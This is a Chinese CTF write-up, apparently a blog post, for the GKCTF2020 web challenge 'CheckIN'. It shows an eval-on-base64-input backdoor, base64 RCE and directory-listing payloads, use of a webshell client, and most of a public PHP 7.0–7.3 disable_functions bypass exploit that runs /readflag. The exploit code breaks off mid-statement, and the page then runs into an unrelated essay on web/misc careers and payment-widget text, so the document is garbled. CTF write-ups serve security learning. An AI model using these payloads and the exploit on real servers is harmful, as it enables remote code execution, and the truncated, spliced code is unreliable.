GKCTF2020 web+misc

web

CheckIN

考点:代码审计,绕disable_functions

题目给了源码:

<title>Check_In</title>
<?php 
highlight_file(__FILE__);
class ClassName
{
   
        public $code = null;
        public $decode = null;
        function __construct()
        {
   z
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

        public function x()
        {
   
                return $_REQUEST;
        }
}
new ClassName();

__construct()中,传入Ginkgo参数,会被base64_decode,所以先base64编码一下RCE:

phpinfo();->cGhwaW5mbygpOw==

得到phpinfo()回显。
在disable_function看出禁用了很多函数。
先遍历一下目录:
payload:

?Ginkgo=dmFyX2R1bXAoc2NhbmRpcignLi4vLi4vLi4vLi4vJykpOw==

dmFyX2R1bXAoc2NhbmRpcignLi4vLi4vLi4vLi4vJykpOw==var_dump(scandir('../../../../'));的base64编码,得到:

在这里插入图片描述
可以看到有一个readflag文件。连上蚁剑(话说我为什么扫目录):
在这里插入图片描述
编码器选择base64可能不行,之前就卡这了,官方wp给出了一个自己写的编码器:
在这里插入图片描述
编码器选择自己的,连接成功:
在这里插入图片描述
果真执行不了。那就是绕disable_function了,有现成exp:
链接:https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
利用:

<?php



# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)

#

# Bug: https://bugs.php.net/bug.php?id=72530

#

# This exploit should work on all PHP 7.0-7.3 versions

#

# Author: https://github.com/mm0r1
pwn("echo `/readflag` > /tmp/flag.txt");//执行/readflag,把值写到flag.txt
function pwn($cmd) {
   
    global $abc, $helper;
    function str2ptr(&$str, $p = 0, $s = 8) {
   
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
   
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
    function ptr2str($ptr, $m = 8) {
   
        $out = "";
        for ($i=0; $i < $m; $i++) {
   
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }
    function write(&$str, $p, $v, $n = 8) {
   
        $i = 0;
        for($i = 0; $i < $n; $i++) {
   
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }
    function leak($addr, $p = 0, $s = 8) {
   
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) {
    $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
    function parse_elf($base) {
   
        $e_type = leak($base, 0x10, 2);
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
        for($i = 0; $i < $e_phnum; $i++) {
   
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
            if($p_type == 1 && $p_flags == 6) {
    # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
在当今的数字时代,WebMisc(其他)领域都是就业市场上具有潜力和广阔发展空间的行业。 首先,在Web领域,随着互联网的不断发展和普及,对于网站的需求也越来越大。从企业的官方网站到电子商务平台,从社交媒体到在线教育,无处不体现出Web技术和网站设计的重要性。因此,Web开发人员和设计师的需求日益增加。具备良好的前端和后端开发技术、熟悉各种Web框架和语言,以及对用户体验和界面设计有深入了解的人才,将具有更多的就业机会。同时,随着移动互联网的兴起,响应式网页设计和移动应用开发也成为就业的热门方向。 另一方面,在Misc领域,虽然概括性较广,但却存在许多与Web相关的就业机会。比如数据分析、人工智能和机器学习等领域,这些都需要大量的数据处理、算法优化以及模型设计能力。同时,网络安全、信息管理和数字化营销等专业领域也对有相关技术和知识的人才有较高的需求。此外,还有许多具体领域中的Misc工作,例如网络运维、数据库管理、系统架构设计等,也都需要有技术能力和专业知识的专业人才来支持和推动。 总结来说,WebMisc领域都有很好的就业前景。随着技术的发展和需求的增加,这两个领域所涉及的工作岗位将不断增加。对于有相关技术、技能和知识的人才来说,他们将有机会在这些领域找到一份稳定的工作,并在未来的职业发展中获得更多的机会和成长。因此,不管是选择Web还是Misc领域,学习和掌握相关的技术与知识,将为自己的就业前景打下坚实的基础。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值